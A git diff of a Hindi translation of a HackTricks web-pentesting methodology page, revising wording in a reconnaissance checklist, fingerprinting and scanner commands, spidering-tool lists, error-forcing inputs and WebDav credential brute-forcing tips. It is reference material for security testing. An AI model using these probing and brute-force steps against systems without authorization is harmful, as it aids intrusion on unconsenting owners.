* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** [**और हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks) **को PR जमा करके**।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** में PR जमा करके और **हैकट्रिक्स-क्लाउड रेपो** में](https://github.com/carlospolop/hacktricks-cloud)।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
अगर आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम नियुक्ति कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
अगर आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## मूल जानकारी
|
||||
|
||||
वेब सेवा सबसे **सामान्य और व्यापक सेवा** है और बहुत सारे **विभिन्न प्रकार की सुरक्षा गड़बड़ी** मौजूद है।
|
||||
वेब सेवा सबसे **सामान्य और व्यापक सेवा** है और बहुत सारे **विभिन्न प्रकार की सुरक्षा गड़बड़ियां** मौजूद हैं।
|
||||
|
||||
**डिफ़ॉल्ट पोर्ट:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
|
@ -43,36 +43,36 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
## मेथडोलॉजी सारांश
|
||||
|
||||
> इस मेथडोलॉजी में हम मानेंगे कि आप एक डोमेन (या सबडोमेन) पर हमला करने जा रहे हैं और केवल उस पर। इसलिए, आपको प्रत्येक पाए गए डोमेन, सबडोमेन या अपरिभाषित वेब सर्वर पर इस मेथडोलॉजी को लागू करना चाहिए।
|
||||
> इस मेथडोलॉजी में हम मानेंगे कि आप एक डोमेन (या सबडोमेन) पर हमला करने जा रहे हैं और केवल उस पर। इसलिए, आपको प्राप्त हर डोमेन, सबडोमेन या आईपी पर इस मेथडोलॉजी को लागू करना चाहिए जिसमें अनिर्धारित वेब सर्वर है।
|
||||
|
||||
* [ ] **पहचानें** वेब सर्वर द्वारा उपयोग की जाने वाली **तकनीकों** को। अगर आप सफलतापूर्वक तकनीक की पहचान कर सकते हैं तो बाकी टेस्ट के दौरान ध्यान में रखने के लिए **ट्रिक्स** खोजें।
|
||||
* [ ] क्या तकनीक के संस्करण की कोई **ज्ञात सुरक्षा दोष** है?
|
||||
* [ ] किसी **प्रसिद्ध तकनीक** का उपयोग किया जा रहा है? कोई **उपयोगी ट्रिक** अधिक जानकारी निकालने के लिए?
|
||||
* [ ] किसी **प्रसिद्ध तकनीक** का उपयोग किया जा रहा है? कोई **उपयोगी ट्रिक** जानकारी निकालने के लिए?
|
||||
* [ ] कोई **विशेषज्ञ स्कैनर** चलाएं (जैसे wpscan)?
|
||||
* [ ] **सामान्य उद्देश्य स्कैनर** चालू करें। कभी नहीं पता चलता कि क्या वे कुछ खोजेंगे या क्या वे कुछ दिलचस्प जानकारी खोजेंगे।
|
||||
* [ ] **प्रारंभिक जांच** से शुरू करें: **रोबोट्स**, **साइटमैप**, **404** त्रुटि और **SSL/TLS स्कैन** (यदि HTTPS है)।
|
||||
* [ ] वेब पृष्ठ को **स्पाइडरिंग** शुरू करें: अब समय है कि आप सभी संभावित **फ़ाइलें, फ़ोल्डर** और **पैरामीटर्स** को खोजें। इसके अलावा, **विशेष खोज** के लिए भी जांच करें।
|
||||
* [ ] वेब पृष्ठ को **स्पाइडरिंग** शुरू करें: समय है कि आप सभी संभावित **फ़ाइलें, फ़ोल्डर** और **पैरामीटर्स** को खोजें। इसके अलावा, **विशेष खोज** के लिए भी जांच करें।
|
||||
* [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका पाया जाता है, तो उसे स्पाइडर किया जाना चाहिए।_
|
||||
* [ ] **निर्देशिका ब्रूट-फोर्सिंग**: नए **फ़ाइलें** और **निर्देशिकाएँ** खोजने के लिए सभी पाए गए निर्देशिकाओं की ब्रूट फोर्स करने का प्रयास करें।
|
||||
* [ ] **निर्देशिका ब्रूट-फोर्सिंग**: सभी पाए गए फ़ोल्डर की खोज करने के लिए ब्रूट फोर्स करने का प्रयास करें नए **फ़ाइलें** और **निर्देशिकाएँ** खोजने के लिए।
|
||||
* [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका पाया जाता है, तो उसे ब्रूट-फोर्स किया जाना चाहिए।_
|
||||
* [ ] **बैकअप जांच**: जांचें कि क्या आप **पाए गए फ़ाइलों** के **बैकअप** खोज सकते हैं जो सामान्य बैकअप एक्सटेंशन जोड़कर।
|
||||
* [ ] **बैकअप जांच**: जांचें कि क्या आप **पाए गए फ़ाइलों** के **बैकअप** खोज सकते हैं सामान्य बैकअप एक्सटेंशन जोड़कर।
|
||||
* [ ] **ब्रूट-फोर्स पैरामीटर्स**: **छिपे पैरामीटर्स** खोजने का प्रयास करें।
|
||||
* [ ] जब आपने सभी संभावित **एंडपॉइंट्स** की **पहचान** कर ली है जो **उपयोगकर्ता इनपुट** स्वीकार करते हैं, तो इसके संबंधित सभी प्रकार के **सुरक्षा दोष** के लिए जांच करें।
|
||||
* [ ] जब आपने सभी संभावित **एंडपॉइंट्स** की **पहचान** कर ली हैं जो **उपयोगकर्ता इनपुट** स्वीकार करते हैं, तो इसके संबंधित सभी प्रकार की **वंलरेबिलिटीज़** की जांच करें।
|
||||
* [ ] [इस चेकलिस्ट का पालन करें](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## सर्वर संस्करण (विकल्पित?)
|
||||
## सर्वर संस्करण (वंलरेबल?)
|
||||
|
||||
### पहचान
|
||||
|
||||
जांचें कि क्या सर्वर संस्करण के लिए **ज्ञात सुरक्षा दोष** हैं।\
|
||||
**प्रतिक्रिया के HTTP हेडर और कुकी** तकनीकों और/या संस्करण की **पहचान** के लिए बहुत उपयोगी हो सकते हैं। **Nmap स्कैन** सर्वर संस्करण की पहचान कर सकता है, लेकिन उपयोगी हो सकते हैं भी टूल्स [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)या [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
जांचें कि सर्वर **संस्करण** के लिए कोई **ज्ञात सुरक्षा दोष** है।\
|
||||
**प्रतिक्रिया के HTTP हेडर और कुकी** बहुत उपयोगी हो सकते हैं तकनीकों और/या संस्करण की **पहचान** के लिए। **Nmap स्कैन** सर्वर संस्करण की पहचान कर सकता है, लेकिन उपयोगी हो सकते हैं भी टूल्स [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) या [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
**वेब एप्लिकेशन** की **संस्करण** की **कमियों** की **खोज** करें
|
||||
वेब एप्लिकेशन की **संस्करण** की [**सुरक्षा दोष** **खोजें**](../../generic-methodologies-and-resources/search-exploits.md)
|
||||
|
||||
### **क्या कोई WAF है**
|
||||
|
||||
|
@ -82,53 +82,53 @@ webanalyze -host https://google.com -crawl 2
|
|||
|
||||
### वेब तकनीक ट्रिक्स
|
||||
|
||||
कुछ **ट्रिक्स** जिनका उपयोग करके विभिन्न प्रसिद्ध **तकनीकों** में **कमियों** की **खोज** करने के लिए:
|
||||
कुछ **ट्रिक्स** विभिन्न प्रसिद्ध **तकनीकों** में **दोष** खोजने के लिए:
|
||||
|
||||
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
* [**Apache**](apache.md)
|
||||
* [**Artifactory**](artifactory-hacking-guide.md)
|
||||
* [**Buckets**](buckets/)
|
||||
* [**AEM - अडोब अनुभव क्लाउड**](aem-adobe-experience-cloud.md)
|
||||
* [**एपाची**](apache.md)
|
||||
* [**आर्टिफैक्टरी**](artifactory-hacking-guide.md)
|
||||
* [**बकेट्स**](buckets/)
|
||||
* [**CGI**](cgi.md)
|
||||
* [**Drupal**](drupal.md)
|
||||
* [**Flask**](flask.md)
|
||||
* [**Git**](git.md)
|
||||
* [**Golang**](golang.md)
|
||||
* [**GraphQL**](graphql.md)
|
||||
* [**H2 - Java SQL database**](h2-java-sql-database.md)
|
||||
* [**IIS tricks**](iis-internet-information-services.md)
|
||||
* [**JBOSS**](jboss.md)
|
||||
* [**Jenkins**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md)
|
||||
* [**Jira**](jira.md)
|
||||
* [**Joomla**](joomla.md)
|
||||
* [**JSP**](jsp.md)
|
||||
* [**Laravel**](laravel.md)
|
||||
* [**Moodle**](moodle.md)
|
||||
* [**Nginx**](nginx.md)
|
||||
* [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/)
|
||||
* [**Python**](python.md)
|
||||
* [**Spring Actuators**](spring-actuators.md)
|
||||
* [**Symphony**](symphony.md)
|
||||
* [**Tomcat**](tomcat/)
|
||||
* [**VMWare**](vmware-esx-vcenter....md)
|
||||
* [**Web API Pentesting**](web-api-pentesting.md)
|
||||
* [**WebDav**](put-method-webdav.md)
|
||||
* [**Werkzeug**](werkzeug.md)
|
||||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
||||
* [**ड्रुपल**](drupal.md)
|
||||
* [**फ्लास्क**](flask.md)
|
||||
* [**गिट**](git.md)
|
||||
* [**गोलैंग**](golang.md)
|
||||
* [**जीक्यूएल**](graphql.md)
|
||||
* [**एच 2 - जावा एसक्यूएल डेटाबेस**](h2-java-sql-database.md)
|
||||
* [**IIS ट्रिक्स**](iis-internet-information-services.md)
|
||||
* [**जेबोस**](jboss.md)
|
||||
* [**जेंकिन्स**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md)
|
||||
* [**जीरा**](jira.md)
|
||||
* [**जूमला**](joomla.md)
|
||||
* [**जेएसपी**](jsp.md)
|
||||
* [**लारावेल**](laravel.md)
|
||||
* [**मूडल**](moodle.md)
|
||||
* [**एनजिन्क्स**](nginx.md)
|
||||
* [**PHP (php में कई दिलचस्प ट्रिक्स हैं जो उत्पीड़न किए जा सकते हैं)**](php-tricks-esp/)
|
||||
* [**पायथन**](python.md)
|
||||
* [**स्प्रिंग एक्टुएटर्स**](spring-actuators.md)
|
||||
* [**सिम्फोनी**](symphony.md)
|
||||
* [**टॉमकैट**](tomcat/)
|
||||
* [**वीएमवेयर**](vmware-esx-vcenter....md)
|
||||
* [**वेब एपीआई पेंटेस्टिंग**](web-api-pentesting.md)
|
||||
* [**वेबडैव**](put-method-webdav.md)
|
||||
* [**वर्क्जुग**](werkzeug.md)
|
||||
* [**वर्डप्रेस**](wordpress.md)
|
||||
* [**इलेक्ट्रॉन डेस्कटॉप (एक्सएसएस से आरसीई तक)**](electron-desktop-apps/)
|
||||
|
||||
_ध्यान दें कि **एक ही डोमेन** विभिन्न **तकनीकों** का उपयोग कर सकता है विभिन्न **पोर्ट्स**, **फोल्डर्स** और **सबडोमेन्स** में._\
|
||||
यदि वेब एप्लिकेशन किसी भी प्रसिद्ध **तकनीक/प्लेटफ़ॉर्म** का उपयोग कर रहा है जो पहले सूचीबद्ध है या किसी अन्य का, तो इंटरनेट पर नई ट्रिक्स की **खोज** करना न भूलें (और मुझे बताएं)।
|
||||
यदि वेब एप्लिकेशन किसी भी प्रसिद्ध **तकनीक/प्लेटफ़ॉर्म** का उपयोग कर रहा है जो पहले सूचीबद्ध है या **कोई अन्य**, तो इंटरनेट पर नई ट्रिक्स खोजना न भूलें (और मुझे बताएं!).
|
||||
|
||||
### स्रोत कोड समीक्षा
|
||||
|
||||
यदि एप्लिकेशन का **स्रोत कोड** **github** में उपलब्ध है, तो एप्लिकेशन का **व्हाइट बॉक्स टेस्ट** करने के अलावा वर्तमान **ब्लैक-बॉक्स टेस्टिंग** के लिए कुछ **जानकारी** उपयोगी हो सकती है:
|
||||
|
||||
* क्या **चेंज-लॉग या रीडमी या संस्करण** फ़ाइल या कोई भी **संस्करण जानकारी** वेब के माध्यम से एक्सेस करने योग्य है?
|
||||
* **क्रेडेंशियल्स** कहाँ और कैसे सहेजे गए हैं? क्या कोई (एक्सेस करने योग्य?) **फ़ाइल** है जिसमें क्रेडेंशियल्स (उपयोगकर्ता नाम या पासवर्ड) हैं?
|
||||
* क्या **चेंज-लॉग या रीडमी या संस्करण** फ़ाइल या कोई भी **संस्करण जानकारी** वेब के माध्यम से पहुंचने योग्य है?
|
||||
* **क्रेडेंशियल्स** कैसे और कहाँ सहेजे गए हैं? क्या कोई (पहुंचने योग्य?) **फ़ाइल** है जिसमें क्रेडेंशियल्स (उपयोगकर्ता नाम या पासवर्ड) हैं?
|
||||
* क्या **पासवर्ड** **सादा पाठ** में हैं, **एन्क्रिप्टेड** हैं या कौन सा **हैशिंग एल्गोरिथ्म** उपयोग किया गया है?
|
||||
* क्या इसका कोई **मास्टर की** उपयोग हो रहा है कुछ एन्क्रिप्ट करने के लिए? कौन सा **एल्गोरिथ्म** उपयोग किया गया है?
|
||||
* क्या आप किसी **विकल्प** को **एक्सेस** कर सकते हैं जो किसी **कमी** का उपयोग कर रहा है?
|
||||
* क्या **github** में कोई **दिलचस्प जानकारी** (हल किया और नहीं हल किया) है? या **कमिट इतिहास** में (शायद किसी **पुराने कमिट** में कोई **पासवर्ड** दर्ज किया गया हो)?
|
||||
* क्या आप किसी भी विकल्प का उपयोग करके **इन फ़ाइलों में पहुंच सकते हैं** किसी दोष का शिकार होने के लिए?
|
||||
* क्या **गिथब** में कोई दिलचस्प जानकारी है (हल किया और नहीं हल किया) **मुद्दे** में? या **कमिट इतिहास** में (शायद किसी **पासवर्ड** को पुराने कमिट में दर्ज किया गया हो)?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
@ -150,7 +150,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||
```
|
||||
#### CMS स्कैनर
|
||||
|
||||
यदि CMS का उपयोग किया जाता है तो **एक स्कैनर चलाना** न भूलें, शायद कुछ रोचक मिल जाए:
|
||||
यदि CMS का उपयोग किया गया है, तो **एक स्कैनर चलाना** न भूलें, शायद कुछ रोचक मिल जाए:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** वेबसाइटों के लिए सुरक्षा समस्याओं के लिए। (GUI)\
|
||||
|
@ -165,9 +165,9 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
```
|
||||
> इस बिंदु पर आपके पास क्लाइंट द्वारा उपयोग किए जाने वाले वेब सर्वर की कुछ जानकारी (यदि कोई डेटा दिया गया है) और परीक्षण के दौरान ध्यान में रखने योग्य कुछ ट्रिक्स होनी चाहिए। यदि आप भाग्यशाली हैं तो आपने एक CMS भी खोज लिया होगा और कुछ स्कैनर भी चलाया होगा।
|
||||
|
||||
## Web एप्लिकेशन खोज की कदम-से-कदम प्रक्रिया
|
||||
## चरण-दर-चरण वेब एप्लिकेशन खोज
|
||||
|
||||
> इस बिंदु से हम वेब एप्लिकेशन के साथ बातचीत करने जा रहे हैं।
|
||||
> इस बिंदु से हम वेब एप्लिकेशन के साथ बातचीत करने लगेंगे।
|
||||
|
||||
### प्रारंभिक जांचें
|
||||
|
||||
|
@ -182,26 +182,26 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
**त्रुटियों को बलपूर्वक करना**
|
||||
|
||||
वेब सर्वर अजीब डेटा को भेजने पर अप्रत्याशित रूप से **व्यवहार कर सकते हैं**। यह **कमजोरियों** या **संवेदनशील जानकारी का उजागर कर सकता है**।
|
||||
वेब सर्वर अजीब डेटा को भेजने पर अप्रत्याशित रूप से व्यवहार कर सकते हैं। यह **कमजोरियों** या **संवेदनशील जानकारी का उजागर कर सकता है**।
|
||||
|
||||
* /whatever\_fake.php (.aspx,.html,.etc) जैसे **फर्जी पेज** तक पहुंचें
|
||||
* **कुकी मानों** और **पैरामीटर** मानों में "\[]", "]]", और "\[\[" जोड़ें ताकि त्रुटियां उत्पन्न हों
|
||||
* **URL** के **अंत** में **`/~randomthing/%s`** के रूप में इनपुट देकर त्रुटि उत्पन्न करें
|
||||
* **कुकी मानों** और **पैरामीटर** मानों में **"\[]", "]]", और "\[\["** जोड़ें ताकि त्रुटियां उत्पन्न हों
|
||||
* URL के **अंत** में **`/~randomthing/%s`** के रूप में इनपुट देकर त्रुटि उत्पन्न करें
|
||||
* PATCH, DEBUG या गलत जैसे FAKE जैसे **विभिन्न HTTP वर्ब** का प्रयास करें
|
||||
|
||||
#### **जांचें कि क्या आप फ़ाइलें अपलोड कर सकते हैं (**[**PUT वर्ब, WebDav**](put-method-webdav.md)**)**
|
||||
#### **जांचें कि क्या आप फ़ाइलें अपलोड कर सकते हैं (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
यदि आपको लगता है कि **WebDav** **सक्षम** है लेकिन आपके पास **मूल फ़ोल्डर में फ़ाइलें अपलोड करने के लिए पर्याप्त अनुमतियाँ नहीं हैं तो कोशिश करें:
|
||||
|
||||
* **क्रूरता बल** क्रेडेंशियल्स
|
||||
* WebDav के माध्यम से फ़ाइलें **अपलोड** करें वेब पेज के भीतर पाए गए **अन्य फ़ोल्डर** में। आपको अन्य फ़ोल्डर में फ़ाइलें अपलोड करने की अनुमति हो सकती है।
|
||||
* **Brute Force** क्रेडेंशियल्स
|
||||
* WebDav के माध्यम से फ़ाइलें **अपलोड** करें वेब पेज के भीतर पाए गए **शेष फ़ोल्डर** में। आपको अन्य फ़ोल्डर में फ़ाइलें अपलोड करने की अनुमति हो सकती है।
|
||||
|
||||
### **SSL/TLS दुर्बलताएँ**
|
||||
|
||||
* यदि एप्लिकेशन किसी भी भाग में **HTTPS का उपयोग करने को बाध्य नहीं कर रहा है**, तो यह **MitM के लिए विकल्पशील** है।
|
||||
* यदि एप्लिकेशन **किसी भी हिस्से में HTTPS का उपयोग करने को बाध्य नहीं कर रहा है**, तो यह **MitM के लिए विकल्पशील** है।
|
||||
* यदि एप्लिकेशन **HTTP का उपयोग करके संवेदनशील डेटा (पासवर्ड) भेज रहा है**। तो यह एक उच्च दुर्बलता है।
|
||||
|
||||
[**testssl.sh**](https://github.com/drwetter/testssl.sh) का उपयोग **दुर्बलताएँ** के लिए करें (बग बाउंटी कार्यक्रमों में शायद इन प्रकार की दुर्बलताएँ स्वीकार नहीं की जाएंगी) और दुर्बलताओं की पुनःजांच के लिए [**a2sv** ](https://github.com/hahwul/a2sv) का उपयोग करें:
|
||||
[**testssl.sh**](https://github.com/drwetter/testssl.sh) का उपयोग **दुर्बलताओं** के लिए करने के लिए करें (बग बाउंटी कार्यक्रमों में शायद इस प्रकार की दुर्बलताएँ स्वीकार नहीं की जाएंगी) और [**a2sv** ](https://github.com/hahwul/a2sv) का उपयोग करें दुर्बलताओं की पुनः जांच के लिए:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -223,39 +223,43 @@ SSL/TLS vulnerabilities के बारे में जानकारी:
|
|||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML स्पाइडर, JS फ़ाइलों के लिए LinkFider और बाहरी स्रोत के रूप में Archive.org।
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML स्पाइडर, "juicy files" को भी दर्शाता है।
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): इंटरैक्टिव CLI HTML स्पाइडर। यह Archive.org में भी खोजता है।
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): यह टूल एक स्पाइडर नहीं है लेकिन यह उपयोगी हो सकता है। आप बस होस्ट्स के साथ एक फ़ाइल और पथों के साथ एक फ़ाइल की घोषणा कर सकते हैं और meg हर होस्ट पर हर पथ को लाएगा और प्रतिक्रिया को सहेजेगा।
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): यह टूल एक स्पाइडर नहीं है लेकिन यह उपयोगी हो सकता है। आप बस होस्ट और पथ के साथ एक फ़ाइल को निर्दिष्ट कर सकते हैं और meg हर होस्ट पर हर पथ को लाएगा और प्रतिक्रिया को सहेजेगा।
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर। हालांकि, यह अनुरक्षित लगता है, पूर्व-संकलित संस्करण पुराना है और वर्तमान कोड कंपाइल नहीं होता है।
|
||||
* [**gau**](https://github.com/lc/gau) (go): बाहरी प्रदाताओं का उपयोग करने वाला HTML स्पाइडर (wayback, otx, commoncrawl)।
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): यह स्क्रिप्ट पैरामीटर के साथ URLs खोजेगा और उन्हें सूचीबद्ध करेगा।
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर।
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML स्पाइडर, JS फ़ाइलों में नए पथों की खोज करने की क्षमता। इसे देखने के लिए [JSScanner](https://github.com/dark-warlord14/JSScanner) को भी एक नजर डालना लायक हो सकता है, जो LinkFinder का एक रैपर है।
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML स्रोत और एम्बेडेड जावास्क्रिप्ट फ़ाइलों में अंतबिंदुओं को निकालने के लिए। बग हंटर्स, रेड टीमर्स, इन्फोसेक निंजास के लिए उपयोगी।
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado और JSBeautifier का उपयोग करने वाला एक पायथन 2.7 स्क्रिप्ट जावास्क्रिप्ट फ़ाइलों से संबंधित URLs को पार्स करने के लिए। AJAX अनुरोधों को आसानी से खोजने के लिए उपयोगी। अनुरक्षित लगता है।
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): एक फ़ाइल (HTML) देने पर यह निर्दिष्ट यूआरएल को खोजने के लिए निफ़्टी नियमित अभिव्यक्ति का उपयोग करेगा और अश्लील (मिनिफ़ाई) फ़ाइलों से निर्दिष्ट यूआरएल को निकालेगा।
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML स्पाइडर, JS फ़ाइलों में नए पथों की खोज करने की क्षमता।
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML स्रोत और एम्बेडेड जावास्क्रिप्ट फ़ाइलों में अंतबिंदुओं को निकालने के लिए।
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): एक पायथन 2.7 स्क्रिप्ट जो Tornado और JSBeautifier का उपयोग करके जावास्क्रिप्ट फ़ाइलों से संबंधित URLs को पार्स करता है।
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): एक फ़ाइल (HTML) दी गई फ़ाइल के URLs को निकालेगा और उन्हें उगली (मिनीफ़ाई) फ़ाइलों से निकालने के लिए निफ़्टी नियमित अभिव्यक्ति का उपयोग करेगा।
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, कई टूल): कई टूल्स का उपयोग करके JS फ़ाइलों से दिलचस्प जानकारी इकट्ठा करें।
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): JS फ़ाइलें खोजें।
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): एक पृष्ठ को एक हेडलेस ब्राउज़र में लोड करें और पृष्ठ लोड करने के लिए सभी यूआरएल को प्रिंट करें।
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): एक पृष्ठ को एक headless ब्राउज़र में लोड करें और पृष्ठ को लोड करने के लिए सभी urls को प्रिंट करें।
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): कई पिछले उपकरणों के कई विकल्पों को मिश्रित करने वाला सामग्री खोज उपकरण।
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): एक बर्प एक्सटेंशन जो JS फ़ाइलों में पथ और पैरामीटर खोजने के लिए।
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL देने पर यह आपको beatified JS कोड प्राप्त करेगा।
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): यह एक उपकरण है जो दिए गए लक्ष्य के लिए अंतबिंदुओं को खोजने में उपयोग किया जाता है।
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback मशीन से लिंक खोजें (वे उत्तरों को डाउनलोड करने और और लिंक्स की खोज करने के लिए)
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): खोज करें (फॉर्म भरकर भी) और विशेष रूप से regexes का उपयोग करके संवेदनशील जानकारी भी खोजें।
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL देने पर आपको बीटीफाईड JS कोड मिलेगा।
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): यह एक उपकरण है जिसका उपयोग दिए गए लक्ष्य के लिए अंतबिंदुओं को खोजने के लिए किया जाता है।
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback मशीन से लिंक खोजें (वे उत्तरों को डाउनलोड करने और और लिंक खोजने के लिए)
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): फॉर्म भरकर (यहां तक कि फॉर्म भरकर) क्रॉल करें और विशेष रेजेक्स का उपयोग करके संवेदनशील जानकारी भी खोजें।
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite एक उन्नत मल्टी-फ़ीचर GUI वेब सुरक्षा क्रॉलर/स्पाइडर है जो साइबर सुरक्षा विशेषज्ञों के लिए डिज़ाइन किया गया है।
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह एक गो पैकेज और [कमांड-लाइन टूल](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है जो जावास्क्रिप्ट स्रोत को छुड़ाने, पथों, रहस्यों, और अन्य दिलचस्प डेटा को निकालने के लिए है।
|
||||
